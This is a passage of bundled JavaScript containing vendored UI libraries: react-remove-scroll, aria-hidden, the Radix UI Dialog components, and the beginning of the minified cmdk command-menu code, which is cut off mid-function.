document.removeEventListener('touchmove', shouldPrevent, nonPassive); document.removeEventListener('touchstart', scrollTouchStart, nonPassive); }; }, []); var removeScrollBar = props.removeScrollBar, inert = props.inert; return (external_React_namespaceObject.createElement(external_React_namespaceObject.Fragment, null, inert ? external_React_namespaceObject.createElement(Style, { styles: generateStyle(id) }) : null, removeScrollBar ? external_React_namespaceObject.createElement(RemoveScrollBar, { gapMode: "margin" }) : null)); } ;// ./node_modules/react-remove-scroll/dist/es2015/sidecar.js /* harmony default export */ const sidecar = (exportSidecar(effectCar, RemoveScrollSideCar)); ;// ./node_modules/react-remove-scroll/dist/es2015/Combination.js var ReactRemoveScroll = external_React_namespaceObject.forwardRef(function (props, ref) { return (external_React_namespaceObject.createElement(RemoveScroll, __assign({}, props, { ref: ref, sideCar: sidecar }))); }); ReactRemoveScroll.classNames = RemoveScroll.classNames; /* harmony default export */ const Combination = (ReactRemoveScroll); ;// ./node_modules/aria-hidden/dist/es2015/index.js var getDefaultParent = function (originalTarget) { if (typeof document === 'undefined') { return null; } var sampleTarget = Array.isArray(originalTarget) ? originalTarget[0] : originalTarget; return sampleTarget.ownerDocument.body; }; var counterMap = new WeakMap(); var uncontrolledNodes = new WeakMap(); var markerMap = {}; var lockCount = 0; var unwrapHost = function (node) { return node && (node.host || unwrapHost(node.parentNode)); }; var correctTargets = function (parent, targets) { return targets .map(function (target) { if (parent.contains(target)) { return target; } var correctedTarget = unwrapHost(target); if (correctedTarget && parent.contains(correctedTarget)) { return correctedTarget; } console.error('aria-hidden', target, 'in not contained inside', parent, '. Doing nothing'); return null; }) .filter(function (x) { return Boolean(x); }); }; /** * Marks everything except given node(or nodes) as aria-hidden * @param {Element | Element[]} originalTarget - elements to keep on the page * @param [parentNode] - top element, defaults to document.body * @param {String} [markerName] - a special attribute to mark every node * @param {String} [controlAttribute] - html Attribute to control * @return {Undo} undo command */ var applyAttributeToOthers = function (originalTarget, parentNode, markerName, controlAttribute) { var targets = correctTargets(parentNode, Array.isArray(originalTarget) ? originalTarget : [originalTarget]); if (!markerMap[markerName]) { markerMap[markerName] = new WeakMap(); } var markerCounter = markerMap[markerName]; var hiddenNodes = []; var elementsToKeep = new Set(); var elementsToStop = new Set(targets); var keep = function (el) { if (!el || elementsToKeep.has(el)) { return; } elementsToKeep.add(el); keep(el.parentNode); }; targets.forEach(keep); var deep = function (parent) { if (!parent || elementsToStop.has(parent)) { return; } Array.prototype.forEach.call(parent.children, function (node) { if (elementsToKeep.has(node)) { deep(node); } else { try { var attr = node.getAttribute(controlAttribute); var alreadyHidden = attr !== null && attr !== 'false'; var counterValue = (counterMap.get(node) || 0) + 1; var markerValue = (markerCounter.get(node) || 0) + 1; counterMap.set(node, counterValue); markerCounter.set(node, markerValue); hiddenNodes.push(node); if (counterValue === 1 && alreadyHidden) { uncontrolledNodes.set(node, true); } if (markerValue === 1) { node.setAttribute(markerName, 'true'); } if (!alreadyHidden) { node.setAttribute(controlAttribute, 'true'); } } catch (e) { console.error('aria-hidden: cannot operate on ', node, e); } } }); }; deep(parentNode); elementsToKeep.clear(); lockCount++; return function () { hiddenNodes.forEach(function (node) { var counterValue = counterMap.get(node) - 1; var markerValue = markerCounter.get(node) - 1; counterMap.set(node, counterValue); markerCounter.set(node, markerValue); if (!counterValue) { if (!uncontrolledNodes.has(node)) { node.removeAttribute(controlAttribute); } uncontrolledNodes.delete(node); } if (!markerValue) { node.removeAttribute(markerName); } }); lockCount--; if (!lockCount) { // clear counterMap = new WeakMap(); counterMap = new WeakMap(); uncontrolledNodes = new WeakMap(); markerMap = {}; } }; }; /** * Marks everything except given node(or nodes) as aria-hidden * @param {Element | Element[]} originalTarget - elements to keep on the page * @param [parentNode] - top element, defaults to document.body * @param {String} [markerName] - a special attribute to mark every node * @return {Undo} undo command */ var hideOthers = function (originalTarget, parentNode, markerName) { if (markerName === void 0) { markerName = 'data-aria-hidden'; } var targets = Array.from(Array.isArray(originalTarget) ? originalTarget : [originalTarget]); var activeParentNode = parentNode || getDefaultParent(originalTarget); if (!activeParentNode) { return function () { return null; }; } // we should not hide ariaLive elements - https://github.com/theKashey/aria-hidden/issues/10 targets.push.apply(targets, Array.from(activeParentNode.querySelectorAll('[aria-live]'))); return applyAttributeToOthers(targets, activeParentNode, markerName, 'aria-hidden'); }; /** * Marks everything except given node(or nodes) as inert * @param {Element | Element[]} originalTarget - elements to keep on the page * @param [parentNode] - top element, defaults to document.body * @param {String} [markerName] - a special attribute to mark every node * @return {Undo} undo command */ var inertOthers = function (originalTarget, parentNode, markerName) { if (markerName === void 0) { markerName = 'data-inert-ed'; } var activeParentNode = parentNode || getDefaultParent(originalTarget); if (!activeParentNode) { return function () { return null; }; } return applyAttributeToOthers(originalTarget, activeParentNode, markerName, 'inert'); }; /** * @returns if current browser supports inert */ var supportsInert = function () { return typeof HTMLElement !== 'undefined' && HTMLElement.prototype.hasOwnProperty('inert'); }; /** * Automatic function to "suppress" DOM elements - _hide_ or _inert_ in the best possible way * @param {Element | Element[]} originalTarget - elements to keep on the page * @param [parentNode] - top element, defaults to document.body * @param {String} [markerName] - a special attribute to mark every node * @return {Undo} undo command */ var suppressOthers = function (originalTarget, parentNode, markerName) { if (markerName === void 0) { markerName = 'data-suppressed'; } return (supportsInert() ? inertOthers : hideOthers)(originalTarget, parentNode, markerName); }; ;// ./node_modules/@radix-ui/react-dialog/dist/index.mjs /* ------------------------------------------------------------------------------------------------- * Dialog * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$DIALOG_NAME = 'Dialog'; const [$5d3850c4d0b4e6c7$var$createDialogContext, $5d3850c4d0b4e6c7$export$cc702773b8ea3e41] = $c512c27ab02ef895$export$50c7b4e9d9f19c1($5d3850c4d0b4e6c7$var$DIALOG_NAME); const [$5d3850c4d0b4e6c7$var$DialogProvider, $5d3850c4d0b4e6c7$var$useDialogContext] = $5d3850c4d0b4e6c7$var$createDialogContext($5d3850c4d0b4e6c7$var$DIALOG_NAME); const $5d3850c4d0b4e6c7$export$3ddf2d174ce01153 = (props)=>{ const { __scopeDialog: __scopeDialog , children: children , open: openProp , defaultOpen: defaultOpen , onOpenChange: onOpenChange , modal: modal = true } = props; const triggerRef = (0,external_React_namespaceObject.useRef)(null); const contentRef = (0,external_React_namespaceObject.useRef)(null); const [open = false, setOpen] = $71cd76cc60e0454e$export$6f32135080cb4c3({ prop: openProp, defaultProp: defaultOpen, onChange: onOpenChange }); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5d3850c4d0b4e6c7$var$DialogProvider, { scope: __scopeDialog, triggerRef: triggerRef, contentRef: contentRef, contentId: $1746a345f3d73bb7$export$f680877a34711e37(), titleId: $1746a345f3d73bb7$export$f680877a34711e37(), descriptionId: $1746a345f3d73bb7$export$f680877a34711e37(), open: open, onOpenChange: setOpen, onOpenToggle: (0,external_React_namespaceObject.useCallback)(()=>setOpen((prevOpen)=>!prevOpen ) , [ setOpen ]), modal: modal }, children); }; /*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$3ddf2d174ce01153, { displayName: $5d3850c4d0b4e6c7$var$DIALOG_NAME }); /* ------------------------------------------------------------------------------------------------- * DialogTrigger * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$TRIGGER_NAME = 'DialogTrigger'; const $5d3850c4d0b4e6c7$export$2e1e1122cf0cba88 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const { __scopeDialog: __scopeDialog , ...triggerProps } = props; const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$TRIGGER_NAME, __scopeDialog); const composedTriggerRef = $6ed0406888f73fc4$export$c7b2cbe3552a0d05(forwardedRef, context.triggerRef); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.button, _extends({ type: "button", "aria-haspopup": "dialog", "aria-expanded": context.open, "aria-controls": context.contentId, "data-state": $5d3850c4d0b4e6c7$var$getState(context.open) }, triggerProps, { ref: composedTriggerRef, onClick: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onClick, context.onOpenToggle) })); }); /*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$2e1e1122cf0cba88, { displayName: $5d3850c4d0b4e6c7$var$TRIGGER_NAME }); /* ------------------------------------------------------------------------------------------------- * DialogPortal * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$PORTAL_NAME = 'DialogPortal'; const [$5d3850c4d0b4e6c7$var$PortalProvider, $5d3850c4d0b4e6c7$var$usePortalContext] = $5d3850c4d0b4e6c7$var$createDialogContext($5d3850c4d0b4e6c7$var$PORTAL_NAME, { forceMount: undefined }); const $5d3850c4d0b4e6c7$export$dad7c95542bacce0 = (props)=>{ const { __scopeDialog: __scopeDialog , forceMount: forceMount , children: children , container: container } = props; const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$PORTAL_NAME, __scopeDialog); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5d3850c4d0b4e6c7$var$PortalProvider, { scope: __scopeDialog, forceMount: forceMount }, external_React_namespaceObject.Children.map(children, (child)=>/*#__PURE__*/ (0,external_React_namespaceObject.createElement)($921a889cee6df7e8$export$99c2b779aa4e8b8b, { present: forceMount || context.open }, /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($f1701beae083dbae$export$602eac185826482c, { asChild: true, container: container }, child)) )); }; /*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$dad7c95542bacce0, { displayName: $5d3850c4d0b4e6c7$var$PORTAL_NAME }); /* ------------------------------------------------------------------------------------------------- * DialogOverlay * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$OVERLAY_NAME = 'DialogOverlay'; const $5d3850c4d0b4e6c7$export$bd1d06c79be19e17 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const portalContext = $5d3850c4d0b4e6c7$var$usePortalContext($5d3850c4d0b4e6c7$var$OVERLAY_NAME, props.__scopeDialog); const { forceMount: forceMount = portalContext.forceMount , ...overlayProps } = props; const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$OVERLAY_NAME, props.__scopeDialog); return context.modal ? /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($921a889cee6df7e8$export$99c2b779aa4e8b8b, { present: forceMount || context.open }, /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5d3850c4d0b4e6c7$var$DialogOverlayImpl, _extends({}, overlayProps, { ref: forwardedRef }))) : null; }); /*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$bd1d06c79be19e17, { displayName: $5d3850c4d0b4e6c7$var$OVERLAY_NAME }); const $5d3850c4d0b4e6c7$var$DialogOverlayImpl = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const { __scopeDialog: __scopeDialog , ...overlayProps } = props; const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$OVERLAY_NAME, __scopeDialog); return(/*#__PURE__*/ // Make sure `Content` is scrollable even when it doesn't live inside `RemoveScroll` // ie. when `Overlay` and `Content` are siblings (0,external_React_namespaceObject.createElement)(Combination, { as: $5e63c961fc1ce211$export$8c6ed5c666ac1360, allowPinchZoom: true, shards: [ context.contentRef ] }, /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.div, _extends({ "data-state": $5d3850c4d0b4e6c7$var$getState(context.open) }, overlayProps, { ref: forwardedRef // We re-enable pointer-events prevented by `Dialog.Content` to allow scrolling the overlay. , style: { pointerEvents: 'auto', ...overlayProps.style } })))); }); /* ------------------------------------------------------------------------------------------------- * DialogContent * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$CONTENT_NAME = 'DialogContent'; const $5d3850c4d0b4e6c7$export$b6d9565de1e068cf = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const portalContext = $5d3850c4d0b4e6c7$var$usePortalContext($5d3850c4d0b4e6c7$var$CONTENT_NAME, props.__scopeDialog); const { forceMount: forceMount = portalContext.forceMount , ...contentProps } = props; const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$CONTENT_NAME, props.__scopeDialog); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($921a889cee6df7e8$export$99c2b779aa4e8b8b, { present: forceMount || context.open }, context.modal ? /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5d3850c4d0b4e6c7$var$DialogContentModal, _extends({}, contentProps, { ref: forwardedRef })) : /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5d3850c4d0b4e6c7$var$DialogContentNonModal, _extends({}, contentProps, { ref: forwardedRef }))); }); /*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$b6d9565de1e068cf, { displayName: $5d3850c4d0b4e6c7$var$CONTENT_NAME }); /* -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$DialogContentModal = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$CONTENT_NAME, props.__scopeDialog); const contentRef = (0,external_React_namespaceObject.useRef)(null); const composedRefs = $6ed0406888f73fc4$export$c7b2cbe3552a0d05(forwardedRef, context.contentRef, contentRef); // aria-hide everything except the content (better supported equivalent to setting aria-modal) (0,external_React_namespaceObject.useEffect)(()=>{ const content = contentRef.current; if (content) return hideOthers(content); }, []); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5d3850c4d0b4e6c7$var$DialogContentImpl, _extends({}, props, { ref: composedRefs // we make sure focus isn't trapped once `DialogContent` has been closed , trapFocus: context.open, disableOutsidePointerEvents: true, onCloseAutoFocus: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onCloseAutoFocus, (event)=>{ var _context$triggerRef$c; event.preventDefault(); (_context$triggerRef$c = context.triggerRef.current) === null || _context$triggerRef$c === void 0 || _context$triggerRef$c.focus(); }), onPointerDownOutside: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onPointerDownOutside, (event)=>{ const originalEvent = event.detail.originalEvent; const ctrlLeftClick = originalEvent.button === 0 && originalEvent.ctrlKey === true; const isRightClick = originalEvent.button === 2 || ctrlLeftClick; // If the event is a right-click, we shouldn't close because // it is effectively as if we right-clicked the `Overlay`. if (isRightClick) event.preventDefault(); }) // When focus is trapped, a `focusout` event may still happen. , onFocusOutside: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onFocusOutside, (event)=>event.preventDefault() ) })); }); /* -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$DialogContentNonModal = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$CONTENT_NAME, props.__scopeDialog); const hasInteractedOutsideRef = (0,external_React_namespaceObject.useRef)(false); const hasPointerDownOutsideRef = (0,external_React_namespaceObject.useRef)(false); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5d3850c4d0b4e6c7$var$DialogContentImpl, _extends({}, props, { ref: forwardedRef, trapFocus: false, disableOutsidePointerEvents: false, onCloseAutoFocus: (event)=>{ var _props$onCloseAutoFoc; (_props$onCloseAutoFoc = props.onCloseAutoFocus) === null || _props$onCloseAutoFoc === void 0 || _props$onCloseAutoFoc.call(props, event); if (!event.defaultPrevented) { var _context$triggerRef$c2; if (!hasInteractedOutsideRef.current) (_context$triggerRef$c2 = context.triggerRef.current) === null || _context$triggerRef$c2 === void 0 || _context$triggerRef$c2.focus(); // Always prevent auto focus because we either focus manually or want user agent focus event.preventDefault(); } hasInteractedOutsideRef.current = false; hasPointerDownOutsideRef.current = false; }, onInteractOutside: (event)=>{ var _props$onInteractOuts, _context$triggerRef$c3; (_props$onInteractOuts = props.onInteractOutside) === null || _props$onInteractOuts === void 0 || _props$onInteractOuts.call(props, event); if (!event.defaultPrevented) { hasInteractedOutsideRef.current = true; if (event.detail.originalEvent.type === 'pointerdown') hasPointerDownOutsideRef.current = true; } // Prevent dismissing when clicking the trigger. // As the trigger is already setup to close, without doing so would // cause it to close and immediately open. const target = event.target; const targetIsTrigger = (_context$triggerRef$c3 = context.triggerRef.current) === null || _context$triggerRef$c3 === void 0 ? void 0 : _context$triggerRef$c3.contains(target); if (targetIsTrigger) event.preventDefault(); // On Safari if the trigger is inside a container with tabIndex={0}, when clicked // we will get the pointer down outside event on the trigger, but then a subsequent // focus outside event on the container, we ignore any focus outside event when we've // already had a pointer down outside event. if (event.detail.originalEvent.type === 'focusin' && hasPointerDownOutsideRef.current) event.preventDefault(); } })); }); /* -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$DialogContentImpl = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const { __scopeDialog: __scopeDialog , trapFocus: trapFocus , onOpenAutoFocus: onOpenAutoFocus , onCloseAutoFocus: onCloseAutoFocus , ...contentProps } = props; const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$CONTENT_NAME, __scopeDialog); const contentRef = (0,external_React_namespaceObject.useRef)(null); const composedRefs = $6ed0406888f73fc4$export$c7b2cbe3552a0d05(forwardedRef, contentRef); // Make sure the whole tree has focus guards as our `Dialog` will be // the last element in the DOM (beacuse of the `Portal`) $3db38b7d1fb3fe6a$export$b7ece24a22aeda8c(); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)(external_React_namespaceObject.Fragment, null, /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($d3863c46a17e8a28$export$20e40289641fbbb6, { asChild: true, loop: true, trapped: trapFocus, onMountAutoFocus: onOpenAutoFocus, onUnmountAutoFocus: onCloseAutoFocus }, /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5cb92bef7577960e$export$177fb62ff3ec1f22, _extends({ role: "dialog", id: context.contentId, "aria-describedby": context.descriptionId, "aria-labelledby": context.titleId, "data-state": $5d3850c4d0b4e6c7$var$getState(context.open) }, contentProps, { ref: composedRefs, onDismiss: ()=>context.onOpenChange(false) }))), false); }); /* ------------------------------------------------------------------------------------------------- * DialogTitle * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$TITLE_NAME = 'DialogTitle'; const $5d3850c4d0b4e6c7$export$16f7638e4a34b909 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const { __scopeDialog: __scopeDialog , ...titleProps } = props; const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$TITLE_NAME, __scopeDialog); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.h2, _extends({ id: context.titleId }, titleProps, { ref: forwardedRef })); }); /*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$16f7638e4a34b909, { displayName: $5d3850c4d0b4e6c7$var$TITLE_NAME }); /* ------------------------------------------------------------------------------------------------- * DialogDescription * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$DESCRIPTION_NAME = 'DialogDescription'; const $5d3850c4d0b4e6c7$export$94e94c2ec2c954d5 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const { __scopeDialog: __scopeDialog , ...descriptionProps } = props; const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$DESCRIPTION_NAME, __scopeDialog); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.p, _extends({ id: context.descriptionId }, descriptionProps, { ref: forwardedRef })); }); /*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$94e94c2ec2c954d5, { displayName: $5d3850c4d0b4e6c7$var$DESCRIPTION_NAME }); /* ------------------------------------------------------------------------------------------------- * DialogClose * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$CLOSE_NAME = 'DialogClose'; const $5d3850c4d0b4e6c7$export$fba2fb7cd781b7ac = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const { __scopeDialog: __scopeDialog , ...closeProps } = props; const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$CLOSE_NAME, __scopeDialog); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.button, _extends({ type: "button" }, closeProps, { ref: forwardedRef, onClick: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onClick, ()=>context.onOpenChange(false) ) })); }); /*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$fba2fb7cd781b7ac, { displayName: $5d3850c4d0b4e6c7$var$CLOSE_NAME }); /* -----------------------------------------------------------------------------------------------*/ function $5d3850c4d0b4e6c7$var$getState(open) { return open ? 'open' : 'closed'; } const $5d3850c4d0b4e6c7$var$TITLE_WARNING_NAME = 'DialogTitleWarning'; const [$5d3850c4d0b4e6c7$export$69b62a49393917d6, $5d3850c4d0b4e6c7$var$useWarningContext] = $c512c27ab02ef895$export$fd42f52fd3ae1109($5d3850c4d0b4e6c7$var$TITLE_WARNING_NAME, { contentName: $5d3850c4d0b4e6c7$var$CONTENT_NAME, titleName: $5d3850c4d0b4e6c7$var$TITLE_NAME, docsSlug: 'dialog' }); const $5d3850c4d0b4e6c7$var$TitleWarning = ({ titleId: titleId })=>{ const titleWarningContext = $5d3850c4d0b4e6c7$var$useWarningContext($5d3850c4d0b4e6c7$var$TITLE_WARNING_NAME); const MESSAGE = `\`${titleWarningContext.contentName}\` requires a \`${titleWarningContext.titleName}\` for the component to be accessible for screen reader users. If you want to hide the \`${titleWarningContext.titleName}\`, you can wrap it with our VisuallyHidden component. For more information, see https://radix-ui.com/primitives/docs/components/${titleWarningContext.docsSlug}`; $67UHm$useEffect(()=>{ if (titleId) { const hasTitle = document.getElementById(titleId); if (!hasTitle) throw new Error(MESSAGE); } }, [ MESSAGE, titleId ]); return null; }; const $5d3850c4d0b4e6c7$var$DESCRIPTION_WARNING_NAME = 'DialogDescriptionWarning'; const $5d3850c4d0b4e6c7$var$DescriptionWarning = ({ contentRef: contentRef , descriptionId: descriptionId })=>{ const descriptionWarningContext = $5d3850c4d0b4e6c7$var$useWarningContext($5d3850c4d0b4e6c7$var$DESCRIPTION_WARNING_NAME); const MESSAGE = `Warning: Missing \`Description\` or \`aria-describedby={undefined}\` for {${descriptionWarningContext.contentName}}.`; $67UHm$useEffect(()=>{ var _contentRef$current; const describedById = (_contentRef$current = contentRef.current) === null || _contentRef$current === void 0 ? void 0 : _contentRef$current.getAttribute('aria-describedby'); // if we have an id and the user hasn't set aria-describedby={undefined} if (descriptionId && describedById) { const hasDescription = document.getElementById(descriptionId); if (!hasDescription) console.warn(MESSAGE); } }, [ MESSAGE, contentRef, descriptionId ]); return null; }; const $5d3850c4d0b4e6c7$export$be92b6f5f03c0fe9 = $5d3850c4d0b4e6c7$export$3ddf2d174ce01153; const $5d3850c4d0b4e6c7$export$41fb9f06171c75f4 = (/* unused pure expression or super */ null && ($5d3850c4d0b4e6c7$export$2e1e1122cf0cba88)); const $5d3850c4d0b4e6c7$export$602eac185826482c = $5d3850c4d0b4e6c7$export$dad7c95542bacce0; const $5d3850c4d0b4e6c7$export$c6fdb837b070b4ff = $5d3850c4d0b4e6c7$export$bd1d06c79be19e17; const $5d3850c4d0b4e6c7$export$7c6e2c02157bb7d2 = $5d3850c4d0b4e6c7$export$b6d9565de1e068cf; const $5d3850c4d0b4e6c7$export$f99233281efd08a0 = (/* unused pure expression or super */ null && ($5d3850c4d0b4e6c7$export$16f7638e4a34b909)); const $5d3850c4d0b4e6c7$export$393edc798c47379d = (/* unused pure expression or super */ null && ($5d3850c4d0b4e6c7$export$94e94c2ec2c954d5)); const $5d3850c4d0b4e6c7$export$f39c2d165cd861fe = (/* unused pure expression or super */ null && ($5d3850c4d0b4e6c7$export$fba2fb7cd781b7ac)); ;// ./node_modules/cmdk/dist/index.mjs var V='[cmdk-group=""]',dist_X='[cmdk-group-items=""]',ge='[cmdk-group-heading=""]',dist_Y='[cmdk-item=""]',le=`${dist_Y}:not([aria-disabled="true"])`,Q="cmdk-item-select",M="data-value",Re=(r,o,n)=>W(r,o,n),ue=external_React_namespaceObject.createContext(void 0),dist_G=()=>external_React_namespaceObject.useContext(ue),de=external_React_namespaceObject.createContext(void 0),Z=()=>external_React_namespaceObject.useContext(de),fe=external_React_namespaceObject.createContext(void 0),me=external_React_namespaceObject.forwardRef((r,o)=>{let n=dist_k(()=>{var e,s;return{search:"",value:(s=(e=r.value)!=null?e:r.defaultValue)!=null?s:"",filtered:{count:0,items:new Map,groups:new Set}}}),u=dist_k(()=>new Set),c=dist_k(()=>new Map),d=dist_k(()=>new Map),f=dist_k(()=>new Set),p=pe(r),{label:v,children:b,value:l,onValueChange:y,filter:S,shouldFilter:C,loop:L,disablePointerSelection:ee=!1,vimBindings:j=!0,...H}=r,te=external_React_namespaceObject.useId(),$=external_React_namespaceObject.useId(),K=external_React_namespaceObject.useId(),x=external_React_namespaceObject.useRef(null),g=Me();T(()=>{if(l!==void 0){let e=l.trim();n.current.value=e,h.emit()}},[l]),T(()=>{g(6,re)},[]);let h=external_React_namespaceObject.useMemo(()=>({subscribe:e=>(f.current.add(e),()=>f.current.delete(e)),snapshot:()=>n.current,setState:(e,s,i)=>{var a,m,R;if(!Object.is(n.current[e],s)){if(n.current[e]=s,e==="search")z(),q(),g(1,U);else if(e==="value"&&(i||g(5,re),((a=p.current)==null?void 0:a.value)!==void 0)){let E=s!=null?s:"";(R=(m=p.current).onValueChange)==null||R.call(m,E);return}h.emit()}},emit:()=>{f.current.forEach(e=>e())}}),[]),B=external_React_namespaceObject.useMemo(()=>({value:(e,s,i)=>{var a;s!==((a=d.current.get(e))==null?void 0:a.value)&&(d.current.set(e,{value:s,keywords:i}),n.current.filtered.items.set(e,ne(s,i)),g(2,()=>{q(),h.emit()}))},item:(e,s)=>(u.current.add(e),s&&(c.current.has(s)?c.current.get(s).add(e):c.current.set(s,new Set([e]))),g(3,()=>{z(),q(),n.current.value||U(),h.emit()}),()=>{d.current.delete(e),u.current.delete(e),n.current.filtered.items.delete(e);let i=O();g(4,()=>{z(),(i==null?void 0:i.getAttribute("id"))===e&&U(),h.emit()})}),group:e=>(c.current.has(e)||c.current.set(e,new Set),()=>{d.current.delete(e),c.current.delete(e)}),filter:()=>p.current.shouldFilter,label:v||r["aria-label"],disablePointerSelection:ee,listId:te,inputId:K,labelId:$,listInnerRef:x}),[]);function ne(e,s){var a,m;let i=(m=(a=p.current)==null?void 0:a.filter)!=null?m:Re;return e?i(e,n.current.search,s):0}function q(){if(!n.current.search||p.current.shouldFilter===!1)return;let e=n.current.filtered.items,s=[];n.current.filtered.groups.forEach(a=>{let m=c.current.get(a),R=0;m.forEach(E=>{let P=e.get(E);R=Math.max(P,R)}),s.push([a,R])});let i=x.current;A().sort((a,m)=>{var P,_;let R=a.getAttribute("id"),E=m.getAttribute("id");return((P=e.get(E))!=null?P:0)-((_=e.get(R))!=null?_:0)}).forEach(a=>{let m=a.closest(dist_X);m?m.appendChild(a.parentElement===m?a:a.closest(`${dist_X} > *`)):i.appendChild(a.parentElement===i?a:a.closest(`${dist_X} > *`))}),s.sort((a,m)=>m[1]-a[1]).forEach(a=>{let m=x.current.querySelector(`${V}[${M}="${encodeURIComponent(a[0])}"]`);m==null||m.parentElement.appendChild(m)})}function U(){let e=A().find(i=>i.getAttribute("aria-disabled")!=="true"),s=e==null?void 0:e.getAttribute(M);h.setState("value",s||void 0)}function z(){var s,i,a,m;if(!n.current.search||p.current.shouldFilter===!1){n.current.filtered.count=u.current.size;return}n.current.filtered.groups=new Set;let e=0;for(let R of u.current){let E=(i=(s=d.current.get(R))==null?void 0:s.value)!=null?i:"",P=(m=(a=d.current.get(R))==null?void 0:a.keywords)!=null?m:[],_=ne(E,P);n.current.filtered.items.set(R,_),_>0&&e++}for(let[R,E]of c.current)for(let P of E)if(n.current.filtered.items.get(P)>0){n.current.filtered.groups.add(R);break}n.current.filtered.count=e}function re(){var s,i,a;let e=O();e&&(((s=e.parentElement)==null?void 0:s.firstChild)===e&&((a=(i=e.closest(V))==null?void 0:i.querySelector(ge))==null||a.scrollIntoView({block:"nearest"})),e.scrollIntoView({block:"nearest"}))}function O(){var e;return(e=x.current)==null?void 0:e.querySelector(`${dist_Y}[aria-selected="true"]`)}function A(){var e;return Array.from((e=x.current)==null?void 0:e.querySelectorAll(le))}function W(e){let i=A()[e];i&&h.setState("value",i.getAttribute(M))}function J(e){var R;let s=O(),i=A(),a=i.findIndex(E=>E===s),m=i[a+e];(R=p.current)!=null&&R.loop&&(m=a+e<0?i[i.length-1]:a+e===i.length?i[0]:i[a+e]),m&&h.setState("value",m.getAttribute(M))}function oe(e){let s=O(),i=s==null?void 0:s.closest(V),a;for(;i&&!a;)i=e>0?we(i,V):Ie(i,V),a=i==null?void 0:i.querySelector(le);a?h.setState("value",a.getAttribute(M)):J(e)}let ie=()=>W(A().length-1),ae=e=>{e.preventDefault(),e.metaKey?ie():e.altKey?oe(1):J(1)},se=e=>{e.preventDefault(),e.metaKey?W(0):e.altKey?oe(-1):J(-1)};return 